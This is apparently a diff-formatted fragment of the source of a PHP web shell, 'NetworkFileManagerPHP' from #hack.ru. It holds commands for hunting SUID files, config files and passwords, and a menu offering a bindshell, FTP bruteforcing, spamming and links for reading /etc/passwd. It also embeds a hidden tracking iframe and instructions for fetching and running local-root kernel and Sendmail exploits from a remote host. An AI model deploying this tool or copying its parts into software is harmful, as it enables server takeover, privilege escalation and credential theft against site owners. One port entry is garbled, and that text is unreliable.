'find all sgid files', + +/* find all config.inc.php files */ + +'find / -type f -name config.inc.php' => 'find all config.inc.php files', + +/* find accesseable writeable directories and files*/ + +'find / -perm -2 -ls' => 'find writeable directories and files', + +'ls -la' => 'Current directory listing with rights access', + +'find / -name *.php | xargs grep -li password' =>'searsh all file .php word password' + + + +); + + + +/* ports and services names */ + +$port[1] = "tcpmux (TCP Port Service Multiplexer)"; + +$port[2] = "Management Utility"; + +$port[3] = "Compression Process"; + +$port[5] = "rje (Remote Job Entry)"; + +$port[7] = "echo"; + +$port[9] = "discard"; + +$port[11] = "systat"; + +$port[13] = "daytime"; + +$port[15] = "netstat"; + +$port[17] = "quote of the day"; + +$port[18] = "send/rwp"; + +$port[19] = "character generator"; + +$port[20] = "ftp-data"; + +$port[21] = "ftp"; + +$port[22] = "ssh, pcAnywhere"; + +$port[23] = "Telnet"; + +$port[25] = "SMTP (Simple Mail Transfer)"; + +$port[27] = "ETRN (NSW User System FE)"; + +$port[29] = "MSG ICP"; + +$port[31] = "MSG Authentication"; + +$port[33] = "dsp (Display Support Protocol)"; + +$port[37] = "time"; + +$port[38] = "RAP (Route Access Protocol)"; + +$port[39] = "rlp (Resource Location Protocol)"; + +$port[41] = "Graphics"; + +$port[42] = "nameserv, WINS"; + +$port[43] = "whois, nickname"; + +$port[44] = "MPM FLAGS Protocol"; + +$port[45] = "Message Processing Module [recv]"; + +$port[46] = "MPM [default send]"; + +$port[47] = "NI FTP"; + +$port[48] = "Digital Audit Daemon"; + +$port[49] = "TACACS, Login Host Protocol"; + +$port[50] = "RMCP, re-mail-ck"; + +$port[53] = "DNS"; + +$port[57] = "MTP (any private terminal access)"; + +$port[59] = "NFILE"; + +$port[60] = "Unassigned"; + +$port[61] = "NI MAIL"; + +$port[62] = "ACA Services"; + +$port[63] = "whois++"; + +$port[64] = "Communications Integrator (CI)"; + +$port[65] = "TACACS-Database Service"; + +$port[66] = "Oracle SQL*NET"; + +$port[67] = "bootps (Bootstrap Protocol Server)"; + +$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; + +$port[69] = "Trivial File Transfer Protocol (tftp)"; + +$port[70] = "Gopher"; + +$port[71] = "Remote Job Service"; + +$port[72] = "Remote Job Service"; + +$port[73] = "Remote Job Service"; + +$port[74] = "Remote Job Service"; + +$port[75] = "any private dial out service"; + +$port[76] = "Distributed External Object Store"; + +$port[77] = "any private RJE service"; + +$port[78] = "vettcp"; + +$port[79] = "finger"; + +$port[80] = "World Wide Web HTTP"; + +$port[81] = "HOSTS2 Name Serve"; + +$port[82] = "XFER Utility"; + +$port[83] = "MIT ML Device"; + +$port[84] = "Common Trace Facility"; + +$port[85] = "MIT ML Device"; + +$port[86] = "Micro Focus Cobol"; + +$port[87] = "any private terminal link"; + +$port[88] = "Kerberos, WWW"; + +$port[89] = "SU/MIT Telnet Gateway"; + +$port[90] = "DNSIX Securit Attribute Token Map"; + +$port[91] = "MIT Dover Spooler"; + +$port[92] = "Network Printing Protocol"; + +$port[93] = "Device Control Protocol"; + +$port[94] = "Tivoli Object Dispatcher"; + +$port[95] = "supdup"; + +$port[96] = "DIXIE"; + +$port[98] = "linuxconf"; + +$port[99] = "Metagram Relay"; + +$port[100] = "[unauthorized use]"; + +$port[101] = "HOSTNAME"; + +$port[102] = "ISO, X.400, ITOT"; + +$port[103] = "Genesis Point-to&#14144;&#429;oi&#65535;&#65535; T&#0;&#0;ns&#0;&#0;et"; + +$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; + +$port[105] = "CCSO name server protocol"; + +$port[106] = "poppassd"; + +$port[107] = "Remote Telnet Service"; + +$port[108] = "SNA Gateway Access Server"; + +$port[109] = "POP2"; + +$port[110] = "POP3"; + +$port[111] = "Sun RPC Portmapper"; + +$port[112] = "McIDAS Data Transmission Protocol"; + +$port[113] = "Authentication Service"; + +$port[115] = "sftp (Simple File Transfer Protocol)"; + +$port[116] = "ANSA REX Notify"; + +$port[117] = "UUCP Path Service"; + +$port[118] = "SQL Services"; + +$port[119] = "NNTP"; + +$port[120] = "CFDP"; + +$port[123] = "NTP"; + +$port[124] = "SecureID"; + +$port[129] = "PWDGEN"; + +$port[133] = "statsrv"; + +$port[135] = "loc-srv/epmap"; + +$port[137] = "netbios-ns"; + +$port[138] = "netbios-dgm (UDP)"; + +$port[139] = "NetBIOS"; + +$port[143] = "IMAP"; + +$port[144] = "NewS"; + +$port[150] = "SQL-NET"; + +$port[152] = "BFTP"; + +$port[153] = "SGMP"; + +$port[156] = "SQL Service"; + +$port[161] = "SNMP"; + +$port[175] = "vmnet"; + +$port[177] = "XDMCP"; + +$port[178] = "NextStep Window Server"; + +$port[179] = "BGP"; + +$port[180] = "SLmail admin"; + +$port[199] = "smux"; + +$port[210] = "Z39.50"; + +$port[213] = "IPX"; + +$port[218] = "MPP"; + +$port[220] = "IMAP3"; + +$port[256] = "RAP"; + +$port[257] = "Secure Electronic Transaction"; + +$port[258] = "Yak Winsock Personal Chat"; + +$port[259] = "ESRO"; + +$port[264] = "FW1_topo"; + +$port[311] = "Apple WebAdmin"; + +$port[350] = "MATIP type A"; + +$port[351] = "MATIP type B"; + +$port[363] = "RSVP tunnel"; + +$port[366] = "ODMR (On-Demand Mail Relay)"; + +$port[371] = "Clearcase"; + +$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; + +$port[389] = "LDAP"; + +$port[407] = "Timbuktu"; + +$port[427] = "Server Location"; + +$port[434] = "Mobile IP"; + +$port[443] = "ssl"; + +$port[444] = "snpp, Simple Network Paging Protocol"; + +$port[445] = "SMB"; + +$port[458] = "QuickTime TV/Conferencing"; + +$port[468] = "Photuris"; + +$port[475] = "tcpnethaspsrv"; + +$port[500] = "ISAKMP, pluto"; + +$port[511] = "mynet-as"; + +$port[512] = "biff, rexec"; + +$port[513] = "who, rlogin"; + +$port[514] = "syslog, rsh"; + +$port[515] = "lp, lpr, line printer"; + +$port[517] = "talk"; + +$port[520] = "RIP (Routing Information Protocol)"; + +$port[521] = "RIPng"; + +$port[522] = "ULS"; + +$port[531] = "IRC"; + +$port[543] = "KLogin, AppleShare over IP"; + +$port[545] = "QuickTime"; + +$port[548] = "AFP"; + +$port[554] = "Real Time Streaming Protocol"; + +$port[555] = "phAse Zero"; + +$port[563] = "NNTP over SSL"; + +$port[575] = "VEMMI"; + +$port[581] = "Bundle Discovery Protocol"; + +$port[593] = "MS-RPC"; + +$port[608] = "SIFT/UFT"; + +$port[626] = "Apple ASIA"; + +$port[631] = "IPP (Internet Printing Protocol)"; + +$port[635] = "RLZ DBase"; + +$port[636] = "sldap"; + +$port[642] = "EMSD"; + +$port[648] = "RRP (NSI Registry Registrar Protocol)"; + +$port[655] = "tinc"; + +$port[660] = "Apple MacOS Server Admin"; + +$port[666] = "Doom"; + +$port[674] = "ACAP"; + +$port[687] = "AppleShare IP Registry"; + +$port[700] = "buddyphone"; + +$port[705] = "AgentX for SNMP"; + +$port[901] = "swat, realsecure"; + +$port[993] = "s-imap"; + +$port[995] = "s-pop"; + +$port[1024] = "Reserved"; + +$port[1025] = "network blackjack"; + +$port[1062] = "Veracity"; + +$port[1080] = "SOCKS"; + +$port[1085] = "WebObjects"; + +$port[1227] = "DNS2Go"; + +$port[1243] = "SubSeven"; + +$port[1338] = "Millennium Worm"; + +$port[1352] = "Lotus Notes"; + +$port[1381] = "Apple Network License Manager"; + +$port[1417] = "Timbuktu Service 1 Port"; + +$port[1418] = "Timbuktu Service 2 Port"; + +$port[1419] = "Timbuktu Service 3 Port"; + +$port[1420] = "Timbuktu Service 4 Port"; + +$port[1433] = "Microsoft SQL Server"; + +$port[1434] = "Microsoft SQL Monitor"; + +$port[1477] = "ms-sna-server"; + +$port[1478] = "ms-sna-base"; + +$port[1490] = "insitu-conf"; + +$port[1494] = "Citrix ICA Protocol"; + +$port[1498] = "Watcom-SQL"; + +$port[1500] = "VLSI License Manager"; + +$port[1503] = "T.120"; + +$port[1521] = "Oracle SQL"; + +$port[1522] = "Ricardo North America License Manager"; + +$port[1524] = "ingres"; + +$port[1525] = "prospero"; + +$port[1526] = "prospero"; + +$port[1527] = "tlisrv"; + +$port[1529] = "oracle"; + +$port[1547] = "laplink"; + +$port[1604] = "Citrix ICA, MS Terminal Server"; + +$port[1645] = "RADIUS Authentication"; + +$port[1646] = "RADIUS Accounting"; + +$port[1680] = "Carbon Copy"; + +$port[1701] = "L2TP/LSF"; + +$port[1717] = "Convoy"; + +$port[1720] = "H.323/Q.931"; + +$port[1723] = "PPTP control port"; + +$port[1731] = "MSICCP"; + +$port[1755] = "Windows Media .asf"; + +$port[1758] = "TFTP multicast"; + +$port[1761] = "cft-0"; + +$port[1762] = "cft-1"; + +$port[1763] = "cft-2"; + +$port[1764] = "cft-3"; + +$port[1765] = "cft-4"; + +$port[1766] = "cft-5"; + +$port[1767] = "cft-6"; + +$port[1808] = "Oracle-VP2"; + +$port[1812] = "RADIUS server"; + +$port[1813] = "RADIUS accounting"; + +$port[1818] = "ETFTP"; + +$port[1973] = "DLSw DCAP/DRAP"; + +$port[1985] = "HSRP"; + +$port[1999] = "Cisco AUTH"; + +$port[2001] = "glimpse"; + +$port[2049] = "NFS"; + +$port[2064] = "distributed.net"; + +$port[2065] = "DLSw"; + +$port[2066] = "DLSw"; + +$port[2106] = "MZAP"; + +$port[2140] = "DeepThroat"; + +$port[2301] = "Compaq Insight Management Web Agents"; + +$port[2327] = "Netscape Conference"; + +$port[2336] = "Apple UG Control"; + +$port[2427] = "MGCP gateway"; + +$port[2504] = "WLBS"; + +$port[2535] = "MADCAP"; + +$port[2543] = "sip"; + +$port[2592] = "netrek"; + +$port[2727] = "MGCP call agent"; + +$port[2628] = "DICT"; + +$port[2998] = "ISS Real Secure Console Service Port"; + +$port[3000] = "Firstclass"; + +$port[3001] = "Redwood Broker"; + +$port[3031] = "Apple AgentVU"; + +$port[3128] = "squid"; + +$port[3130] = "ICP"; + +$port[3150] = "DeepThroat"; + +$port[3264] = "ccmail"; + +$port[3283] = "Apple NetAssitant"; + +$port[3288] = "COPS"; + +$port[3305] = "ODETTE"; + +$port[3306] = "mySQL"; + +$port[3389] = "RDP Protocol (Terminal Server)"; + +$port[3521] = "netrek"; + +$port[4000] = "icq, command-n-conquer and shell nfm"; + +$port[4321] = "rwhois"; + +$port[4333] = "mSQL"; + +$port[4444] = "KRB524"; + +$port[4827] = "HTCP"; + +$port[5002] = "radio free ethernet"; + +$port[5004] = "RTP"; + +$port[5005] = "RTP"; + +$port[5010] = "Yahoo! Messenger"; + +$port[5050] = "multimedia conference control tool"; + +$port[5060] = "SIP"; + +$port[5150] = "Ascend Tunnel Management Protocol"; + +$port[5190] = "AIM"; + +$port[5500] = "securid"; + +$port[5501] = "securidprop"; + +$port[5423] = "Apple VirtualUser"; + +$port[5555] = "Personal Agent"; + +$port[5631] = "PCAnywhere data"; + +$port[5632] = "PCAnywhere"; + +$port[5678] = "Remote Replication Agent Connection"; + +$port[5800] = "VNC"; + +$port[5801] = "VNC"; + +$port[5900] = "VNC"; + +$port[5901] = "VNC"; + +$port[6000] = "X Windows"; + +$port[6112] = "BattleNet"; + +$port[6502] = "Netscape Conference"; + +$port[6667] = "IRC"; + +$port[6670] = "VocalTec Internet Phone, DeepThroat"; + +$port[6699] = "napster"; + +$port[6776] = "Sub7"; + +$port[6970] = "RTP"; + +$port[7007] = "MSBD, Windows Media encoder"; + +$port[7070] = "RealServer/QuickTime"; + +$port[7777] = "cbt"; + +$port[7778] = "Unreal"; + +$port[7648] = "CU-SeeMe"; + +$port[7649] = "CU-SeeMe"; + +$port[8000] = "iRDMI/Shoutcast Server"; + +$port[8010] = "WinGate 2.1"; + +$port[8080] = "HTTP"; + +$port[8181] = "HTTP"; + +$port[8383] = "IMail WWW"; + +$port[8875] = "napster"; + +$port[8888] = "napster"; + +$port[8889] = "Desktop Data TCP 1"; + +$port[8890] = "Desktop Data TCP 2"; + +$port[8891] = "Desktop Data TCP 3: NESS application"; + +$port[8892] = "Desktop Data TCP 4: FARM product"; + +$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; + +$port[8894] = "Desktop Data TCP 6: COAL application"; + +$port[9000] = "CSlistener"; + +$port[10008] = "cheese worm"; + +$port[11371] = "PGP 5 Keyserver"; + +$port[13223] = "PowWow"; + +$port[13224] = "PowWow"; + +$port[14237] = "Palm"; + +$port[14238] = "Palm"; + +$port[18888] = "LiquidAudio"; + +$port[21157] = "Activision"; + +$port[22555] = "Vocaltec Web Conference"; + +$port[23213] = "PowWow"; + +$port[23214] = "PowWow"; + +$port[23456] = "EvilFTP"; + +$port[26000] = "Quake"; + +$port[27001] = "QuakeWorld"; + +$port[27010] = "Half-Life"; + +$port[27015] = "Half-Life"; + +$port[27960] = "QuakeIII"; + +$port[30029] = "AOL Admin"; + +$port[31337] = "Back Orifice"; + +$port[32777] = "rpc.walld"; + +$port[45000] = "Cisco NetRanger postofficed"; + +$port[32773] = "rpc bserverd"; + +$port[32776] = "rpc.spray"; + +$port[32779] = "rpc.cmsd"; + +$port[38036] = "timestep"; + +$port[40193] = "Novell"; + +$port[41524] = "arcserve discovery"; + + + +/* finished config, here goes the design */ + +$meta = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">"; + +$style=<<<style + +<style> + +a. { + +color: #ffffcc; + +text-decoration:none; + +font-family: Times New Roman; + +font-weight: bold; + + } + +a.menu:hover { + +color: #FF0000; + +font-family: Times New Roman; + +text-decoration: none + +font-weight: bold; + + } + +a { + +color: #000000; + +text-decoration:none; + +font-family: Tahoma; + +font-size: 11px; + + } + +a:hover { + +color: #184984; + +font-family: Tahoma; + +text-decoration: underline + +font-size: 11px; + + } + +td.up{ + +color: #996600; + +font-family: Verdana; + +font-weight: normal; + +font-size: 11px; + +} + +.pagetitle { + +font-family: Arial, Helvetica, sans-serif; + +color: #FFFFFF; + +text-decoration: none; + +font-size: 12px + +} + +.alert { + +color: #FF0000; + +font-family: Tahoma; + +font-size: 11px; + + } + +.button1 { + +font-size:11px; + +font-weight:bold; + +font-family:Verdana; + +background:#184984; + +border:1px solid #000000; cursor:hand; color:#ffffcc; + +} + +.inputbox {font-size:11px; font-family:Verdana, Arial, Helvetica, sans-serif; background:#EBEFF6; color:#213B72; border:1px solid #000000; font-weight:normal} + +.submit_button { font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #FFFFFF; background-color: #999999;} + +.textbox { background: White; border: 1px #000000 solid; color: #000099; font-family: "Courier New", Courier, mono; font-size: 11px; scrollbar-face-color: #CCCCCC; scrollbar-shadow-color: #FFFFFF; scrollbar-highlight-color: #FFFFFF; scrollbar-3dlight-color: #FFFFFF; scrollbar-darkshadow-color: #FFFFFF; scrollbar-track-color: #FFFFFF; scrollbar-arrow-color: #000000 ; border-color: #000000 solid} + +b { font-weight: bold} + +table { font-family: Arial, Helvetica, sans-serif; font-size: 11px; color: #184984} + +</style> + +style; + + + +/* table styles */ + +$style1=<<<table + +STYLE="background:#184984" onmouseover="this.style.backgroundColor = '#D5EBD7'" onmouseout="this.style.backgroundColor = '#184984'" + +table; + +$style2=<<<table_file + +STYLE="background:#184984" onmouseover="this.style.backgroundColor = '#D5EBD7'" onmouseout="this.style.backgroundColor = '#184984'" + +table_file; + +$style3=<<<table_dir + +STYLE="background:#28BECA" onmouseover="this.style.backgroundColor = '#FFFFCC'" onmouseout="this.style.backgroundColor = '#28BECA'" + +table_dir; + +$style4=<<<table_files + +STYLE="background:#DCDCB0" onmouseover="this.style.backgroundColor = '#28BECA'" onmouseout="this.style.backgroundColor = '#DCDCB0'" + +table_files; + +$style_button=<<<button + +STYLE="background:#184984" onmouseover="this.style.backgroundColor = '#D5EBD7'" onmouseout="this.style.backgroundColor = '#184984'" + +button; + +$style_open=<<<open + +STYLE="background:#006200" onmouseover="this.style.backgroundColor = '#006200'" onmouseout="this.style.backgroundColor = '#006200'" + +open; + +$style_close=<<<close + +STYLE="background:#FF0000" onmouseover="this.style.backgroundColor = '#FF0000'" onmouseout="this.style.backgroundColor = '#FF0000'" + +close; + +$ins=<<<ins + +<script> + +function ins(text){ + +document.hackru.chars_de.value+=text; + +document.hackru.chars_de.focus(); + +} + +</script> + +ins; + + + +/* send form */ + +$form = " + +<br> <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr> + + <td align=center class=pagetitle colspan=2><b>Help for NetworkFileManagerPHP 1.7</b></font></b></td> + + </tr> <form method='POST' action='$PHP_SELF?action=feedback&status=ok'> + + <tr> + + <td colspan=2 align=center class=pagetitle><b>Feedback:</b></td> + + </tr> + + <tr> + + <td width='250' class=pagetitle><b>Your name:</b></td> + + <td width='250' class=pagetitle> + + <input type='text' name='name' size='40' class='inputbox'></td> + + </tr> + + <tr> + + <td width='250' class=pagetitle><b>Email:</b></td> + + <td width='250'><input type='text' name='email' size='40' class='inputbox'></td> + + </tr> + + + + <tr> + + <td colspan=2 align=center class=pagetitle><b> + + Your questions and wishes: + + </b></font></b></td> + + </tr> + + <tr> + + <td width=500 colspan=2><textarea rows='4' name='pole' cols='84' class='inputbox' ></textarea></td></tr> + + <tr> + + <td align=right><input type='submit' value='GO' name='B1' class=button1 $style_button></td> + + <td align=left><input type='reset' value='Clear' name='B2' class=button1 $style_button></td> + + </tr> + +</form></table><br> + +"; + + + + + + + +/* HTML Form */ + +$HTML=<<<html + +<html> + +<head> + +<title>$title $ver</title> + +$meta + +$style + +$ins + +</head> + + + +<body bgcolor=#E0F7FF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> + +<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center colspan=6 class=pagetitle><b>NetworkFileManagerPHP ( #hack.ru)</b> Version: <b>$ver</b> </td></tr> + +<tr><td align=center colspan=6 class=pagetitle>Script for l33t admin job</td></tr> + +<tr> + +<td class=pagetitle align=center width='85%'><b>Script help:</b></td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF'>.:Home</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href="http://hackru.info">.:#hack.ru</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href = '$PHP_SELF?action=feedback'>.:Feedback</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=help'>.:About</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=update'>.:Update</a>&nbsp;&nbsp;</td> + +</tr> + + + +<tr> + +<td class=pagetitle align=center width='85%' ><b>Net tools:</b></td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=portscan'>.:Port scanner</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=ftp'>.:FTP bruteforce</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=tar'>.:Folder compression</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=sql'>.:Mysql Dump</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=bash'>.:bindshell (/bin/sh)</a>&nbsp;&nbsp;</td> + +</tr> + +<tr> + +<td class=pagetitle align=center width='85%' ><b>Exploits access:</b></td> + +<td $style2 align=center width='15%' colspan=2><a class=menu href='$PHP_SELF?action=bash'>.:bindshell</a>&nbsp;&nbsp;</td> + +<td $style_open align=center width='15%' colspan=3><a class=menu href='$PHP_SELF?action=exploits'>.:Exploits</a>&nbsp;&nbsp;</td> + +<tr> + +<td class=pagetitle align=center width='85%'><b>l33t tools:</b></td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=crypte'>.:Crypter</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=decrypte'>.:Decrypter</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=brut_ftp'>.:Full access FTP</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=spam'>.:Spamer (!new!)</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=down'>.:Remote upload</a>&nbsp;&nbsp;</td> + +</tr> + +<tr> + +<td class=pagetitle align=center width='85%' colspan=6>$sob&nbsp;&nbsp;ID:<u><b>$id</b></u></td> + +</tr> + +<tr> + +<td $style2 align=center width='15%' colspan=2><a class=menu href="$PHP_SELF?tm=/etc&fi=passwd&action=view">.:etc/passwd</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href = '$PHP_SELF?tm=/var/cpanel&fi=accounting.log&action=view'>.:cpanel log</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?tm=/usr/local/apache/conf&fi=httpd.conf&action=view'>.:httpd.conf[1]</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?tm=/etc/httpd&fi=httpd.conf&action=view'>.:httpd.conf[2]</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='http://goat.cx'>.:Bonus</td> + + + +</tr> + +<!-- add by revers --> + +<tr> + +<td class=pagetitle align=center width='85%'><b>Traffic tools:</b></td> +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=gettraff'>.:Get the script</a>&nbsp;&nbsp;</td> + +</tr> + +<!-- end add by revers --> + +</table> + +html; + +$key="goatse"; + +$string="<IFRAME src=http://hackru.info/adm/count_nfm.php width=1 height=1 frameBorder=0 width=0 height=0></iframe>"; + +/* randomizing letters array for random filenames of compression folders */ + +$CHARS = "abcdefghijklmnopqrstuvwxyz"; + +for ($i=0; $i<6; $i++) $pass .= $CHARS[rand(0,strlen($CHARS)-1)]; + + + +/* set full path to host and dir where public exploits and soft are situated */ + +$public_site = "http://hackru.info/adm/exploits/public_exploits/"; + +/* $public_site = "http://localhost/adm/public_exploits/"; */ + +/* Public exploits and soft */ + +$public[1] = "s"; // bindshell + +$title_ex[1] = " + +&nbsp;&nbsp;bindtty.c - remote shell on 4000 port, with rights of current user (id of apache)<br> + +<dd><b>Run:</b> ./s<br> + +&nbsp;&nbsp;&nbsp;Connect tot host with your favorite telnet client. Best of them are <u><b>putty</b></u> and <u><b>SecureCRT</b></u> + +"; + +$public[2] = "m"; // mremap + +$title_ex[2] = " + +&nbsp;&nbsp;MREMAP - allows to gain local root priveleges by exploiting the bug of memory .<br> + +<dd><b>Run:</b> ./m<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$public[3] = "p"; // ptrace + +$title_ex[3] = " + +&nbsp;&nbsp;PTRACE - good one, works like mremap, but for another bug<br> + +<dd><b>Run:</b> ./p<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$public[4] = "psyBNC2.3.2-4.tar.gz"; // psybnc + +$title_ex[4] = " + +&nbsp;&nbsp;psyBNC - Last release of favorite IRC bouncer<br> + +<dd><b>Decompression:</b> tar -zxf psyBNC2.3.2-4.tar.gz // will be folder <u>psybnc</u><br> + +<dd><b>Compilation, installing and running psybnc:</b> make // making psybnc // ./psybnc // You may edit psybnc.conf with NFM, Default listening port is 31337 - connect to it with your favotite IRC client and set a password<br> + +&nbsp;&nbsp;&nbsp;Allowed to run with uid of apache, but check out the firewall! + +"; + +/* Private exploits */ + +$private[1] = "brk"; // localroot root linux 2.4.* + +$title_exp[1] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - Exploit do_brk (code added) - gains local root priveleges if exploited succes<br> + +<dd><b>Run:</b> ./brk<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[2] = "dupescan"; // Glftpd DupeScan Local Exploit by RagnaroK + +$title_exp[2] = " + +&nbsp;&nbsp;lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon <br> + +<dd>There are 2 files: <b>dupescan</b> and <b>glftpd</b> To gain root uid, you need to write dupescan to <br> + +glftpd/bin/ with command <u>cp dupescan glftpd/bin/</u>, and after run <u>./glftpd</u>. Get the root!!!<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[3] = "glftpd"; + +$title_exp[3] = " + +&nbsp;&nbsp;lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon <br> + +part 2<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[4] = "sortrace"; + +$title_exp[4] = " + +&nbsp;&nbsp;Traceroute v1.4a5 exploit by sorbo - private local root exploit for traceroute up to 1.4.a5<br> + +<dd><b>Run:</b> ./sortrace<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[5] = "root"; + +$title_exp[5] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - ptrace private_mod exploits, may gain local root privaleges<br> + +<dd><b>Run:</b> ./root<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[6] = "sxp"; + +$title_exp[6] = " + +&nbsp;&nbsp;Sendmail 8.11.x exploit localroot - private local root exploit for Sendmail 8.11.x<br> + +<dd><b>Run:</b> ./sxp<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[7] = "ptrace_kmod"; + +$title_exp[7] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - private local root exploit, uses kmod bug + ptrace , gives local root<br> + +<dd><b>Run:</b> ./ptrace_kmod<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[8] = "mr1_a"; + +$title_exp[8] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - mremap any memory size local root exploit for kernels 2.4.x<br> + +<dd><b>Run:</b> ./mr1_a<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +/* set full path to host and dir where private exploits and soft are situated */ + +$private_site = "http://hackru.info/adm/exploits/private_exploits/"; + +endif; + + + +$createdir= "files"; + + + +/* spamer config */ + + + +$sendemail = "packetstorm@km.ru"; + +$confirmationemail = "packetstorm@km.ru"; + +$mailsubject = "Hello!This is a test message!"; + + + + + + + +/* !!!Warning: DO NOT CHANGE ANYTHING IF YOU DUNNO WHAT ARE YOU DOING */ + +global $action,$tm,$cm; + + + +function getdir() { + + global $gdir,$gsub,$i,$j,$REMOTE_ADDR,$PHP_SELF; + + $st = getcwd(); + + $st = str_replace("\\","/",$st); + + $j = 0; + + $gdir = array(); + + $gsub = array(); + + print("<br>"); + + for ($i=0;$i<=(strlen($st)-1);$i++) { + + if ($st[$i] != "/") { + + $gdir[$j] = $gdir[$j].$st[$i]; + + $gsub[$j] = $gsub[$j].$st[$i]; + + } else { + + $gdir[$j] = $gdir[$j]."/"; + + $gsub[$j] = $gsub[$j]."/"; + + $gdir[$j+1] = $gdir[$j]; + + $j++; + + } + + } + + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#ffffcc BORDER=1 width=60% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=left><b>&nbsp;&nbsp;Current directory: </b>"); + + for ($i = 0;$i<=$j;$i++) print("<a href='$PHP_SELF?tm=$gdir[$i]'>$gsub[$i]</a>"); + + $free = tinhbyte(diskfreespace("./")); + + print("</td></tr><tr><td><b>&nbsp;&nbsp;Current disk free space</b> : <font face='Tahoma' size='1' color='#000000'>$free</font></td></tr>"); + + print("<tr><td><b>&nbsp; ".exec("uname -a")."</b></td></tr>"); + + print("<tr><td><b>&nbsp; ".exec("cat /proc/cpuinfo | grep GHz")." &nbsp;&nbsp; &nbsp; &nbsp;Real speed of ".exec("cat /proc/cpuinfo | grep MHz")."</b></td></tr>"); + + print("<tr><td><b>&nbsp; Perhaps release is :&nbsp;&nbsp;".exec("cat /etc/redhat-release")."</b></td></tr></td>"); + + print("<tr><td><b>&nbsp; ".exec("id")." &nbsp; &nbsp; &nbsp; &nbsp; ".exec("who")."</b></td></tr>"); + + print("<tr><td><b>&nbsp;&nbsp;Your IP:&nbsp;&nbsp;</b><font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font></td></tr></table><br>"); + + +} + +function tinhbyte($filesize) { + + if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } + + elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } + + elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } + + else { $filesize = $filesize . ""; } + + return $filesize; + +} + + + +function permissions($mode) { + + $perms = ($mode & 00400) ? "r" : "-"; + + $perms .= ($mode & 00200) ? "w" : "-"; + + $perms .= ($mode & 00100) ? "x" : "-"; + + $perms .= ($mode & 00040) ? "r" : "-"; + + $perms .= ($mode & 00020) ? "w" : "-"; + + $perms .= ($mode & 00010) ? "x" : "-"; + + $perms .= ($mode & 00004) ? "r" : "-"; + + $perms .= ($mode & 00002) ? "w" : "-"; + + $perms .= ($mode & 00001) ? "x" : "-"; + + return $perms; + +} + + + +function readdirdata($dir) { + + global $action,$files,$dirs,$tm,$supsub,$thum,$style3,$style4,$PHP_SELF; + + $files = array(); + + $dirs= array(); + + $open = @opendir($dir); + + + + if (!@readdir($open) or !$open ) echo "<TABLE 